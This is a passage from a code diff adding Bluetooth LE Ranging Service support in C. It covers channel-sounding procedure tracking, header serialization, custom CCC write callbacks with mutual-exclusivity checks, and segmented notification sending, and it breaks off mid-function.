+/* Segmentation header: 1 byte
+ * bit 0: first_segment
+ * bit 1: last_segment
+ * bits 2-7: rolling_segment_counter (6 bits)
+ */
+struct segmentation_header {
+ uint8_t first_segment;
+ uint8_t last_segment;
+ uint8_t rolling_segment_counter;
+};
+
+/* Macros to pack/unpack segmentation header */
+#define SEG_HDR_PACK(first, last, counter) \
+ ((uint8_t)(((first) ? 0x01 : 0x00) | \
+ ((last) ? 0x02 : 0x00) | \
+ (((counter) & 0x3F) << 2)))
+
+#define SEG_HDR_UNPACK_FIRST(byte) ((byte) & 0x01)
+#define SEG_HDR_UNPACK_LAST(byte) (((byte) >> 1) & 0x01)
+#define SEG_HDR_UNPACK_COUNTER(byte) (((byte) >> 2) & 0x3F)
+
+/* Ranging header: 4 bytes
+ * 0-1: ranging_counter (12 bits) | configuration_id (4 bits)
+ * [little-endian]
+ * byte 2: selected_tx_power (signed)
+ * byte 3: antenna_paths_mask (4 bits) | reserved (2 bits) |
+ * pct_format (2 bits)
+ */
+struct ranging_header {
+ uint16_t ranging_counter;
+ uint8_t configuration_id;
+ int8_t selected_tx_power;
+ uint8_t antenna_paths_mask;
+ uint8_t pct_format;
+} __packed;
+
+/* Macros to pack/unpack ranging header */
+#define RANGING_HDR_PACK_BYTE0_1(rc, cfg) \
+ ((uint16_t)(((rc) & 0x0FFF) | (((cfg) & 0x0F) << 12)))
+
+#define RANGING_HDR_PACK_BYTE3(ant_mask, pct_fmt) \
+ ((uint8_t)(((ant_mask) & 0x0F) | (((pct_fmt) & 0x03) << 6)))
+
+#define RANGING_HDR_UNPACK_RC(byte0_1) \
+ ((uint16_t)((byte0_1) & 0x0FFF))
+
+#define RANGING_HDR_UNPACK_CFG(byte0_1) \
+ ((uint8_t)(((byte0_1) >> 12) & 0x0F))
+
+#define RANGING_HDR_UNPACK_ANT_MASK(byte3) \
+ ((uint8_t)((byte3) & 0x0F))
+
+#define RANGING_HDR_UNPACK_PCT_FMT(byte3) \
+ ((uint8_t)(((byte3) >> 6) & 0x03))
+
+struct ras_subevent_header {
+ uint16_t start_acl_conn_event;
+ uint16_t frequency_compensation;
+ uint8_t ranging_done_status;
+ uint8_t subevent_done_status;
+ uint8_t ranging_abort_reason;
+ uint8_t subevent_abort_reason;
+ int8_t reference_power_level;
+ uint8_t num_steps_reported;
+};
+
+struct ras_subevent {
+ struct ras_subevent_header subevent_header;
+ uint8_t subevent_data[];
+};
+
+/* Role maps to Core CS roles (initiator/reflector) */
+enum cs_role {
+ CS_ROLE_INITIATOR = 0x00,
+ CS_ROLE_REFLECTOR = 0x01,
+};
+
+#define CS_INVALID_CONFIG_ID 0xFF
+/* Minimal enums (align to controller values if needed) */
+enum cs_procedure_done_status {
+ CS_PROC_ALL_RESULTS_COMPLETE = 0x00,
+ CS_PROC_PARTIAL_RESULTS = 0x01,
+ CS_PROC_ABORTED = 0x02
+};
+
+/* Main cs_procedure_data */
+struct cs_procedure_data {
+ /* Identity and counters */
+ uint16_t counter;
+ uint8_t num_antenna_paths;
+ /* Flags and status */
+ enum cs_procedure_done_status local_status;
+ enum cs_procedure_done_status remote_status;
+ bool contains_complete_subevent_;
+ /* RAS aggregation */
+ struct segmentation_header segmentation_header_;
+ struct ranging_header ranging_header_;
+ struct iovec ras_raw_data_; /* raw concatenated */
+ uint16_t ras_raw_data_index_;
+ struct ras_subevent_header ras_subevent_header_;
+ struct iovec ras_subevent_data_; /* buffer per subevent */
+ uint8_t ras_subevent_counter_;
+ /* Reference power levels */
+ int8_t initiator_reference_power_level;
+ int8_t reflector_reference_power_level;
+ bool ranging_header_prepended_;
+ bool ras_subevent_header_emitted;
+};
+
+struct cstracker {
+ enum cs_role role; /* INITIATOR/REFLECTOR */
+ uint8_t config_id; /* CS_INVALID_CONFIG_ID */
+ uint8_t selected_tx_power; /* PROC_ENABLE_COMPLETE */
+ struct cs_procedure_data *current_proc;
+ /* Cached header values for CONT events (per-connection state) */
+ uint16_t last_proc_counter;
+ uint16_t last_start_acl_conn_evt_counter;
+ uint16_t last_freq_comp;
+ int8_t last_ref_pwr_lvl;
+};
+
/* Ranging Service context */
struct ras {
struct bt_rap_db *rapdb;
@@ -43,9 +206,17 @@ struct ras {
struct gatt_db_attribute *realtime_chrc;
struct gatt_db_attribute *realtime_chrc_ccc;
struct gatt_db_attribute *ondemand_chrc;
+ struct gatt_db_attribute *ondemand_ccc;
struct gatt_db_attribute *cp_chrc;
+ struct gatt_db_attribute *cp_ccc;
struct gatt_db_attribute *ready_chrc;
+ struct gatt_db_attribute *ready_ccc;
struct gatt_db_attribute *overwritten_chrc;
+ struct gatt_db_attribute *overwritten_ccc;
+
+ /* CCC state tracking for mutual exclusivity */
+ uint16_t realtime_ccc_value;
+ uint16_t ondemand_ccc_value;
};
struct bt_rap_db {
@@ -70,6 +241,7 @@ struct bt_rap {
bt_rap_destroy_func_t debug_destroy;
void *debug_data;
void *user_data;
+ struct cstracker *resptracker;
};
static struct queue *rap_db;
@@ -90,6 +262,209 @@ struct bt_rap_ready {
void *data;
};
+uint16_t default_ras_mtu = 247; /*Section 3.1.2 of RAP 1.0*/
+uint8_t ras_segment_header_size = 1;
+
+static struct cs_procedure_data *cs_procedure_data_create(
+ uint16_t procedure_counter,
+ uint8_t num_antenna_paths,
+ uint8_t configuration_id,
+ uint8_t selected_tx_power)
+{
+ struct cs_procedure_data *d;
+ uint8_t i;
+
+ d = calloc(1, sizeof(struct cs_procedure_data));
+
+ if (!d)
+ return NULL;
+
+ d->counter = procedure_counter;
+ d->num_antenna_paths = num_antenna_paths;
+ d->local_status = CS_PROC_PARTIAL_RESULTS;
+ d->remote_status = CS_PROC_PARTIAL_RESULTS;
+ d->contains_complete_subevent_ = false;
+ d->segmentation_header_.first_segment = 1;
+ d->segmentation_header_.last_segment = 0;
+ d->segmentation_header_.rolling_segment_counter = 0;
+ d->ranging_header_.ranging_counter = procedure_counter;
+ d->ranging_header_.configuration_id = configuration_id;
+ d->ranging_header_.selected_tx_power = selected_tx_power;
+ d->ranging_header_.antenna_paths_mask = 0;
+
+ for (i = 0; i < num_antenna_paths; i++)
+ d->ranging_header_.antenna_paths_mask |= (1u << i);
+
+ d->ranging_header_.pct_format = IQ;
+ memset(&d->ras_raw_data_, 0, sizeof(d->ras_raw_data_));
+ d->ras_raw_data_index_ = 0;
+ memset(&d->ras_subevent_data_, 0, sizeof(d->ras_subevent_data_));
+ d->ras_subevent_counter_ = 0;
+ d->initiator_reference_power_level = 0;
+ d->reflector_reference_power_level = 0;
+ d->ranging_header_prepended_ = false;
+ d->ras_subevent_header_emitted = false;
+
+ return d;
+}
+
+static void cs_procedure_data_destroy(struct cs_procedure_data *d)
+{
+ if (!d)
+ return;
+
+ free(d->ras_raw_data_.iov_base);
+ free(d->ras_subevent_data_.iov_base);
+ free(d);
+}
+
+static void cs_pd_set_local_status(struct cs_procedure_data *d,
+ enum cs_procedure_done_status s)
+{
+ if (d)
+ d->local_status = s;
+}
+
+static void cs_pd_set_remote_status(struct cs_procedure_data *d,
+ enum cs_procedure_done_status s)
+{
+ if (d)
+ d->remote_status = s;
+}
+
+static void cs_pd_set_reference_power_levels(struct cs_procedure_data *d,
+ int8_t init_lvl, int8_t ref_lvl)
+{
+ if (!d)
+ return;
+
+ d->initiator_reference_power_level = init_lvl;
+ d->reflector_reference_power_level = ref_lvl;
+}
+
+static void cs_pd_ras_begin_subevent(struct cs_procedure_data *d,
+ uint16_t start_acl_conn_event,
+ uint16_t frequency_compensation,
+ int8_t reference_power_level)
+{
+ if (!d)
+ return;
+
+ d->ras_subevent_counter_++;
+ d->ras_subevent_header_.start_acl_conn_event = start_acl_conn_event;
+ d->ras_subevent_header_.frequency_compensation =
+ frequency_compensation;
+ d->ras_subevent_header_.reference_power_level = reference_power_level;
+ d->ras_subevent_header_.num_steps_reported = 0;
+ d->ras_subevent_header_emitted = false;
+ d->ras_subevent_data_.iov_len = 0;
+}
+
+static bool cs_pd_ras_append_subevent_bytes(struct cs_procedure_data *d,
+ const uint8_t *bytes, size_t len)
+{
+ if (!d || !bytes || len == 0)
+ return false;
+
+ return util_iov_append(&d->ras_subevent_data_, bytes, len) != NULL;
+}
+
+static inline size_t serialize_ras_subevent_header(
+ const struct ras_subevent_header *h,
+ uint8_t *out, size_t out_len)
+{
+ uint16_t start_le;
+ uint16_t freq_le;
+
+ if (!h || !out || out_len < RAS_SUBEVENT_HEADER_SIZE)
+ return 0;
+
+ start_le = (uint16_t)h->start_acl_conn_event;
+ out[0] = (uint8_t)(start_le & 0xFF);
+ out[1] = (uint8_t)((start_le >> 8) & 0xFF);
+
+ freq_le = (uint16_t)h->frequency_compensation;
+ out[2] = (uint8_t)(freq_le & 0xFF);
+ out[3] = (uint8_t)((freq_le >> 8) & 0xFF);
+
+ out[4] = (uint8_t)((h->ranging_done_status & 0x0F) |
+ ((h->subevent_done_status & 0x0F) << 4));
+
+ out[5] = (uint8_t)((h->ranging_abort_reason & 0x0F) |
+ ((h->subevent_abort_reason & 0x0F) << 4));
+
+ out[6] = (uint8_t)h->reference_power_level;
+ out[7] = (uint8_t)h->num_steps_reported;
+
+ return RAS_SUBEVENT_HEADER_SIZE;
+}
+
+static bool cs_pd_ras_commit_subevent(struct cs_procedure_data *d,
+ uint8_t num_steps_reported,
+ uint8_t ranging_done_status,
+ uint8_t subevent_done_status,
+ uint8_t ranging_abort_reason,
+ uint8_t subevent_abort_reason)
+{
+ size_t hdr_sz;
+ size_t payload_sz;
+ size_t total;
+ uint8_t *buf;
+ size_t w;
+ bool ok;
+
+ if (!d)
+ return false;
+
+ d->ras_subevent_header_.num_steps_reported =
+ (uint8_t)(d->ras_subevent_header_.num_steps_reported +
+ num_steps_reported);
+ d->ras_subevent_header_.ranging_done_status = ranging_done_status;
+ d->ras_subevent_header_.subevent_done_status = subevent_done_status;
+ d->ras_subevent_header_.ranging_abort_reason = ranging_abort_reason;
+ d->ras_subevent_header_.subevent_abort_reason = subevent_abort_reason;
+
+ if (subevent_done_status == SUBEVENT_DONE_ALL_RESULTS_COMPLETE)
+ d->contains_complete_subevent_ = true;
+
+ if (subevent_done_status == SUBEVENT_DONE_PARTIAL_RESULTS)
+ return true;
+
+ if (!d->ras_subevent_header_emitted) {
+ hdr_sz = RAS_SUBEVENT_HEADER_SIZE;
+ payload_sz = d->ras_subevent_data_.iov_len;
+ total = hdr_sz + payload_sz;
+ buf = (uint8_t *)malloc(total);
+
+ if (!buf)
+ return false;
+
+ w = serialize_ras_subevent_header(&d->ras_subevent_header_,
+ buf, total);
+
+ if (w != hdr_sz) {
+ free(buf);
+ return false;
+ }
+
+ if (payload_sz > 0)
+ memcpy(buf + hdr_sz,
+ (const uint8_t *)d->ras_subevent_data_.iov_base,
+ payload_sz);
+
+ ok = util_iov_append(&d->ras_raw_data_, buf, total) != NULL;
+ free(buf);
+
+ if (!ok)
+ return false;
+
+ d->ras_subevent_data_.iov_len = 0;
+ d->ras_subevent_header_emitted = true;
+ }
+
+ return true;
+}
+
static struct ras *rap_get_ras(struct bt_rap *rap)
{
if (!rap)
@@ -155,6 +530,11 @@ static void rap_free(void *data)
rap_db_free(rap->rrapdb);
+ if (rap->resptracker) {
+ free(rap->resptracker);
+ rap->resptracker = NULL;
+ }
+
queue_destroy(rap->notify, free);
queue_destroy(rap->pending, NULL);
queue_destroy(rap->ready_cbs, rap_ready_free);
@@ -240,6 +620,21 @@ bool bt_rap_set_debug(struct bt_rap *rap, bt_rap_debug_func_t func,
return true;
}
+static void cs_tracker_init(struct cstracker *t)
+{
+ if (!t)
+ return;
+
+ memset(t, 0, sizeof(*t));
+ t->role = CS_ROLE_REFLECTOR;
+ t->config_id = CS_INVALID_CONFIG_ID;
+ t->selected_tx_power = 0;
+ t->last_proc_counter = 0;
+ t->last_start_acl_conn_evt_counter = 0;
+ t->last_freq_comp = 0;
+ t->last_ref_pwr_lvl = 0;
+}
+
static void ras_features_read_cb(struct gatt_db_attribute *attrib,
unsigned int id, uint16_t offset,
uint8_t opcode, struct bt_att *att,
@@ -304,6 +699,225 @@ static void ras_data_overwritten_read_cb(struct gatt_db_attribute *attrib,
gatt_db_attribute_read_result(attrib, id, 0, value, sizeof(value));
}
+/* CCC write callbacks for custom handling */
+static void ras_realtime_ccc_write_cb(struct gatt_db_attribute *attrib,
+ unsigned int id, uint16_t offset,
+ const uint8_t *value, size_t len,
+ uint8_t opcode, struct bt_att *att,
+ void *user_data)
+{
+ struct ras *ras = user_data;
+ uint16_t ccc_value;
+
+ if (!ras) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_UNLIKELY);
+ return;
+ }
+
+ if (offset) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_OFFSET);
+ return;
+ }
+
+ if (len != 2) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN);
+ return;
+ }
+
+ ccc_value = get_le16(value);
+
+ if (ccc_value != 0x0000 && ccc_value != 0x0001 &&
+ ccc_value != 0x0002 && ccc_value != 0x0003) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_WRITE_REQUEST_REJECTED);
+ return;
+ }
+
+ /* Check mutual exclusivity: reject if trying to enable realtime
+ * while ondemand is already enabled
+ */
+ if (ccc_value != 0x0000 && ras->ondemand_ccc_value != 0x0000) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_CCC_IMPROPERLY_CONFIGURED);
+ return;
+ }
+
+ /* Update state */
+ ras->realtime_ccc_value = ccc_value;
+
+ gatt_db_attribute_write_result(attrib, id, 0);
+}
+
+static void ras_ondemand_ccc_write_cb(struct gatt_db_attribute *attrib,
+ unsigned int id, uint16_t offset,
+ const uint8_t *value, size_t len,
+ uint8_t opcode, struct bt_att *att,
+ void *user_data)
+{
+ struct ras *ras = user_data;
+ uint16_t ccc_value;
+
+ if (!ras) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_UNLIKELY);
+ return;
+ }
+
+ if (offset) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_OFFSET);
+ return;
+ }
+
+ if (len != 2) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN);
+ return;
+ }
+
+ ccc_value = get_le16(value);
+
+ if (ccc_value != 0x0000 && ccc_value != 0x0001 && ccc_value != 0x0002 &&
+ ccc_value != 0x0003) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_WRITE_REQUEST_REJECTED);
+ return;
+ }
+
+ /* Check mutual exclusivity: reject if trying to enable ondemand
+ * while realtime is already enabled
+ */
+ if (ccc_value != 0x0000 && ras->realtime_ccc_value != 0x0000) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_CCC_IMPROPERLY_CONFIGURED);
+ return;
+ }
+
+ /* Update state */
+ ras->ondemand_ccc_value = ccc_value;
+
+ gatt_db_attribute_write_result(attrib, id, 0);
+}
+
+static void ras_cp_ccc_write_cb(struct gatt_db_attribute *attrib,
+ unsigned int id, uint16_t offset,
+ const uint8_t *value, size_t len,
+ uint8_t opcode, struct bt_att *att,
+ void *user_data)
+{
+ struct ras *ras = user_data;
+ uint16_t ccc_value;
+
+ if (!ras) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_UNLIKELY);
+ return;
+ }
+
+ if (offset) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_OFFSET);
+ return;
+ }
+
+ if (len != 2) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN);
+ return;
+ }
+
+ ccc_value = get_le16(value);
+
+ if (ccc_value != 0x0000 && ccc_value != 0x0001 &&
+ ccc_value != 0x0002) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_WRITE_REQUEST_REJECTED);
+ return;
+ }
+
+ gatt_db_attribute_write_result(attrib, id, 0);
+}
+
+static void ras_ready_ccc_write_cb(struct gatt_db_attribute *attrib,
+ unsigned int id, uint16_t offset,
+ const uint8_t *value, size_t len,
+ uint8_t opcode, struct bt_att *att,
+ void *user_data)
+{
+ struct ras *ras = user_data;
+ uint16_t ccc_value;
+
+ if (!ras) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_UNLIKELY);
+ return;
+ }
+
+ if (offset) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_OFFSET);
+ return;
+ }
+
+ if (len != 2) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN);
+ return;
+ }
+
+ ccc_value = get_le16(value);
+
+ if (ccc_value != 0x0000 && ccc_value != 0x0001 &&
+ ccc_value != 0x0002 && ccc_value != 0x0003) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_WRITE_REQUEST_REJECTED);
+ return;
+ }
+
+ gatt_db_attribute_write_result(attrib, id, 0);
+}
+
+static void ras_overwritten_ccc_write_cb(struct gatt_db_attribute *attrib,
+ unsigned int id, uint16_t offset,
+ const uint8_t *value, size_t len,
+ uint8_t opcode, struct bt_att *att,
+ void *user_data)
+{
+ struct ras *ras = user_data;
+ uint16_t ccc_value;
+
+ if (!ras) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_UNLIKELY);
+ return;
+ }
+
+ if (offset) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_OFFSET);
+ return;
+ }
+
+ if (len != 2) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN);
+ return;
+ }
+
+ ccc_value = get_le16(value);
+
+ if (ccc_value != 0x0000 && ccc_value != 0x0001 &&
+ ccc_value != 0x0002 && ccc_value != 0x0003) {
+ gatt_db_attribute_write_result(attrib, id,
+ BT_ERROR_WRITE_REQUEST_REJECTED);
+ return;
+ }
+
+ gatt_db_attribute_write_result(attrib, id, 0);
+}
/* Service registration – store attribute pointers */
static struct ras *register_ras_service(struct gatt_db *db)
{
@@ -349,9 +963,9 @@ static struct ras *register_ras_service(struct gatt_db *db)
NULL, NULL, ras);
ras->realtime_chrc_ccc =
- gatt_db_service_add_ccc(ras->svc,
- BT_ATT_PERM_READ |
- BT_ATT_PERM_WRITE);
+ gatt_db_service_add_ccc_custom(ras->svc,
+ BT_ATT_PERM_READ | BT_ATT_PERM_WRITE,
+ ras_realtime_ccc_write_cb, ras);
/* On-demand Ranging Data */
bt_uuid16_create(&uuid, RAS_ONDEMAND_DATA_UUID);
@@ -364,8 +978,9 @@ static struct ras *register_ras_service(struct gatt_db *db)
ras_ondemand_read_cb, NULL,
ras);
- gatt_db_service_add_ccc(ras->svc,
- BT_ATT_PERM_READ | BT_ATT_PERM_WRITE);
+ ras->ondemand_ccc = gatt_db_service_add_ccc_custom(ras->svc,
+ BT_ATT_PERM_READ | BT_ATT_PERM_WRITE,
+ ras_ondemand_ccc_write_cb, ras);
/* RAS Control Point */
bt_uuid16_create(&uuid, RAS_CONTROL_POINT_UUID);
@@ -379,8 +994,9 @@ static struct ras *register_ras_service(struct gatt_db *db)
ras_control_point_write_cb,
ras);
- gatt_db_service_add_ccc(ras->svc,
- BT_ATT_PERM_READ | BT_ATT_PERM_WRITE);
+ ras->cp_ccc = gatt_db_service_add_ccc_custom(ras->svc,
+ BT_ATT_PERM_READ | BT_ATT_PERM_WRITE,
+ ras_cp_ccc_write_cb, ras);
/* RAS Data Ready */
bt_uuid16_create(&uuid, RAS_DATA_READY_UUID);
@@ -394,8 +1010,9 @@ static struct ras *register_ras_service(struct gatt_db *db)
ras_data_ready_read_cb, NULL,
ras);
- gatt_db_service_add_ccc(ras->svc,
- BT_ATT_PERM_READ | BT_ATT_PERM_WRITE);
+ ras->ready_ccc = gatt_db_service_add_ccc_custom(ras->svc,
+ BT_ATT_PERM_READ | BT_ATT_PERM_WRITE,
+ ras_ready_ccc_write_cb, ras);
/* RAS Data Overwritten */
bt_uuid16_create(&uuid, RAS_DATA_OVERWRITTEN_UUID);
@@ -409,8 +1026,9 @@ static struct ras *register_ras_service(struct gatt_db *db)
ras_data_overwritten_read_cb,
NULL, ras);
- gatt_db_service_add_ccc(ras->svc,
- BT_ATT_PERM_READ | BT_ATT_PERM_WRITE);
+ ras->overwritten_ccc = gatt_db_service_add_ccc_custom(ras->svc,
+ BT_ATT_PERM_READ | BT_ATT_PERM_WRITE,
+ ras_overwritten_ccc_write_cb, ras);
/* Activate the service */
gatt_db_service_set_active(ras->svc, true);
@@ -503,32 +1121,515 @@ bool bt_rap_unregister(unsigned int id)
return true;
}
+static inline size_t serialize_segmentation_header(
+ const struct segmentation_header *s,
+ uint8_t *out, size_t out_len)
+{
+ if (!s || !out || out_len < 1)
+ return 0;
+
+ /* [0] bit0: first, bit1: last, bits2..7: rolling counter */
+ out[0] = (s->first_segment ? 0x01 : 0x00) |
+ (s->last_segment ? 0x02 : 0x00) |
+ ((s->rolling_segment_counter & 0x3F) << 2);
+
+ return 1;
+}
+
+static inline size_t serialize_ranging_header(const struct ranging_header *r,
+ uint8_t *out, size_t out_len)
+{
+ uint16_t rcid;
+
+ if (!r || !out || out_len < RAS_RANGING_HEADER_SIZE)
+ return 0;
+
+ /* Little-endian pack: [rc (12 bits) | cfg_id (4 bits)] */
+ rcid = RANGING_HDR_PACK_BYTE0_1(r->ranging_counter,
+ r->configuration_id);
+
+ put_le16(rcid, out + 0);
+ out[2] = (uint8_t)r->selected_tx_power;
+ /* Byte 3: antenna_paths_mask | reserved | pct_format */
+ out[3] = RANGING_HDR_PACK_BYTE3(r->antenna_paths_mask,
+ r->pct_format);
+
+ return RAS_RANGING_HEADER_SIZE;
+}
+
+static inline uint16_t ras_att_value_payload_max(struct bt_rap *rap)
+{
+ struct bt_att *att = bt_rap_get_att(rap);
+ uint16_t mtu = att ? bt_att_get_mtu(att) : default_ras_mtu;
+
+ return (uint16_t)(mtu > ATT_OVERHEAD ?
+ (mtu - ATT_OVERHEAD - TOTAL_RAS_RANGING_HEADER_SIZE -
+ ras_segment_header_size) : 0);
+}
+
+/* Prepend data to an iovec */
+static bool iov_prepend_bytes(struct iovec *iov, const uint8_t *bytes,
+ size_t len)
+{
+ size_t new_len;
+ void *new_base;
+
+ if (!iov || !bytes || len == 0)
+ return false;
+
+ new_len = iov->iov_len + len;
+ new_base = malloc(new_len);
+
+ if (!new_base)
+ return false;
+
+ memcpy(new_base, bytes, len);
+
+ if (iov->iov_len > 0)
+ memcpy((uint8_t *)new_base + len, iov->iov_base,
+ iov->iov_len);
+
+ free(iov->iov_base);
+ iov->iov_base = new_base;
+ iov->iov_len = new_len;
+
+ return true;
+}
+
+/* Append the 4-byte RangingHeader to ras_raw_data_ on first segment */
+static bool ras_maybe_prepend_ranging_header(struct cs_procedure_data *d)
+{
+ uint8_t hdr[RAS_RANGING_HEADER_SIZE];
+ size_t w;
+ bool ok;
+
+ if (!d)
+ return false;
+
+ if (d->ranging_header_prepended_)
+ return false;
+
+ if (!d->segmentation_header_.first_segment)
+ return false;
+
+ if (d->ras_raw_data_index_ != 0)
+ return false;
+
+ w = serialize_ranging_header(&d->ranging_header_, hdr, sizeof(hdr));
+
+ if (w != RAS_RANGING_HEADER_SIZE)
+ return false;
+
+ ok = iov_prepend_bytes(&d->ras_raw_data_, hdr, w);
+
+ if (ok)
+ d->ranging_header_prepended_ = true;
+
+ return ok;
+}
+
+static void send_ras_segment_data(struct bt_rap *rap,
+ struct cs_procedure_data *proc)
+{
+ struct ras *ras;
+ uint16_t value_max;
+ const uint16_t header_len = ras_segment_header_size;
+ uint16_t raw_payload_size;
+ bool ok;
+
+ if (!rap || !proc)
+ return;
+
+ if (!rap->lrapdb || !rap->lrapdb->ras)
+ return;
+ ras = rap->lrapdb->ras;
+ value_max = ras_att_value_payload_max(rap);
+
+ if (value_max == 0) {
+ DBG(rap, "value_max=0 (MTU not available?)");
+ return;
+ }
+
+ if (value_max <= header_len) {
+ DBG(rap, "value_max(%u) too small for header", value_max);
+ return;
+ }
+
+ raw_payload_size = (uint16_t)(value_max - header_len);
+
+ /* Convert tail recursion to loop */
+ while (true) {
+ size_t total_len = proc->ras_raw_data_.iov_len;
+ size_t index = proc->ras_raw_data_index_;
+ size_t unsent_data_size;
+ uint16_t copy_size;
+ uint16_t seg_len;
+ uint8_t *seg;
+ uint16_t wr = 0;
+
+ if (index > total_len)
+ index = total_len;
+
+ unsent_data_size = total_len - index;
+
+ if (unsent_data_size == 0)
+ return;
+
+ /* Set last_segment if procedure complete or fits in segment */
+ if ((proc->local_status != CS_PROC_PARTIAL_RESULTS &&
+ unsent_data_size <= raw_payload_size) ||
+ (proc->contains_complete_subevent_ &&
+ unsent_data_size <= raw_payload_size)) {
+ proc->segmentation_header_.last_segment = 1;
+ } else {
+ proc->segmentation_header_.last_segment = 0;
+ }
+
+ /* Wait for more data if needed and not last segment */
+ if (unsent_data_size < raw_payload_size &&
+ proc->segmentation_header_.last_segment == 0) {
+ DBG(rap, "waiting for more data (unsent=%zu < "
+ "payload=%u)", unsent_data_size,
+ raw_payload_size);
+ return;
+ }
+
+ copy_size = (uint16_t)((unsent_data_size < raw_payload_size) ?
+ unsent_data_size : raw_payload_size);
+ seg_len = (uint16_t)(header_len + copy_size);
+ seg = (uint8_t *)malloc(seg_len);
+
+ if (!seg) {
+ DBG(rap, "OOM (%u)", seg_len);
+ return;
+ }
+
+ wr += (uint16_t)serialize_segmentation_header(
+ &proc->segmentation_header_, seg + wr,
+ seg_len - wr);
+ memcpy(seg + wr,
+ (const uint8_t *)proc->ras_raw_data_.iov_base + index,
+ copy_size);
+ wr += copy_size;
+
+ /* Try sending to real-time characteristic */
+ if (ras->realtime_chrc)
+ ok = gatt_db_attribute_notify(ras->realtime_chrc, seg,
+ wr, bt_rap_get_att(rap));
+
+ /* Try sending to on-demand characteristic */
+ if (ras->ondemand_chrc)
+ ok = gatt_db_attribute_notify(ras->ondemand_chrc, seg,
+ wr, bt_rap_get_att(rap));
+
+ free(seg);
+
+ if (!ok) {
+ DBG(rap, "Failed to send RAS notification");
+ return;
+ }
+
+ /* Advance read cursor and update segmentation state */
+ proc->ras_raw_data_index_ += copy_size;
+ proc->segmentation_header_.first_segment = 0;
+ proc->segmentation_header_.rolling_segment_counter =
+ (uint8_t)((proc->segmentation_header_
+ .rolling_segment_counter + 1) & 0x3F);
+
+ if (proc->segmentation_header_.last_segment ||
+ proc->ras_raw_data_index_ >=
+ proc->ras_raw_data_.iov_len) {
+ DBG(rap, "RAS clear ras buffers");
+ proc->ras_raw_data_.iov_len = 0;
+ proc->ras_raw_data_index_ = 0;
+ proc->ranging_header_prepended_ = false;
+ return;
+ }
+ }
+}
+
+static inline void resptracker_reset_current_proc(struct cstracker *t)
+{
+ if (!t)
+ return;
+
+ if (t->current_proc) {
+ cs_procedure_data_destroy(t->current_proc);
+ t->current_proc = NULL;
+ }
+}
+/* Unified local subevent handler */
+static void handle_local_subevent_result(struct bt_rap *rap,
+ bool has_header_fields,
+ uint8_t config_id,
+ uint8_t num_ant_paths,
+ uint16_t proc_counter,
+ uint16_t start_acl_conn_evt_counter,
+ uint16_t freq_comp,
+ int8_t ref_pwr_lvl,
+ uint8_t proc_done_status,
+ uint8_t subevt_done_status,
+ uint8_t abort_reason,
+ uint8_t num_steps_reported,
+ const void *step_bytes)
+{
+ struct cstracker *resptracker;
+ struct cs_procedure_data *proc;
+ const struct cs_step_data *steps;
+ uint8_t idx;
+
+ if (!rap || !rap->resptracker || !step_bytes)
+ return;
+
+ resptracker = rap->resptracker;
+
+ if (resptracker->current_proc) {
+ struct cs_procedure_data *cur = resptracker->current_proc;
+
+ if (has_header_fields && cur->counter != proc_counter) {
+ /* Safety: a new procedure; destroy the previous one */
+ resptracker_reset_current_proc(resptracker);
+ }
+ }
+
+ proc = resptracker->current_proc;
+ /* Cache header info from a RESULT event for later CONT usage */
+ if (has_header_fields) {
+ resptracker->last_proc_counter = proc_counter;
+ resptracker->last_start_acl_conn_evt_counter =
+ start_acl_conn_evt_counter;
+ resptracker->last_freq_comp = freq_comp;
+ resptracker->last_ref_pwr_lvl = ref_pwr_lvl;
+ }
+
+ /* Create the procedure on first use */
+ if (!proc) {
+ uint16_t create_counter = has_header_fields ? proc_counter :
+ resptracker->last_proc_counter;
+
+ proc = cs_procedure_data_create(create_counter,
+ num_ant_paths,
+ config_id,
+ resptracker->selected_tx_power);
+ if (!proc)
+ return;
+
+ resptracker->current_proc = proc;
+
+ /* Reference power levels and status defaults */
+ cs_pd_set_reference_power_levels(proc,
+ has_header_fields ? ref_pwr_lvl :
+ resptracker->last_ref_pwr_lvl,
+ has_header_fields ? ref_pwr_lvl :
+ resptracker->last_ref_pwr_lvl);
+ cs_pd_set_local_status(proc,
+ (enum cs_procedure_done_status)proc_done_status);
+ cs_pd_set_remote_status(proc,
+ (enum cs_procedure_done_status)subevt_done_status);
+ }
+
+ /* Begin a new RAS subevent only when we have header fields */
+ if (has_header_fields) {
+ cs_pd_ras_begin_subevent(proc,
+ start_acl_conn_evt_counter,
+ freq_comp,
+ ref_pwr_lvl);
+ }
+
+ /* step_bytes points to an array of struct cs_step_data */
+ steps = (const struct cs_step_data *)step_bytes;
+
+ /* Process each step */
+ for (idx = 0; idx < num_steps_reported; idx++) {
+ const struct cs_step_data *step = &steps[idx];
+ const uint8_t mode = step->step_mode;
+ const uint8_t channel = step->step_chnl;
+ const uint8_t payload_len = step->step_data_length;
+ uint8_t mode_byte;
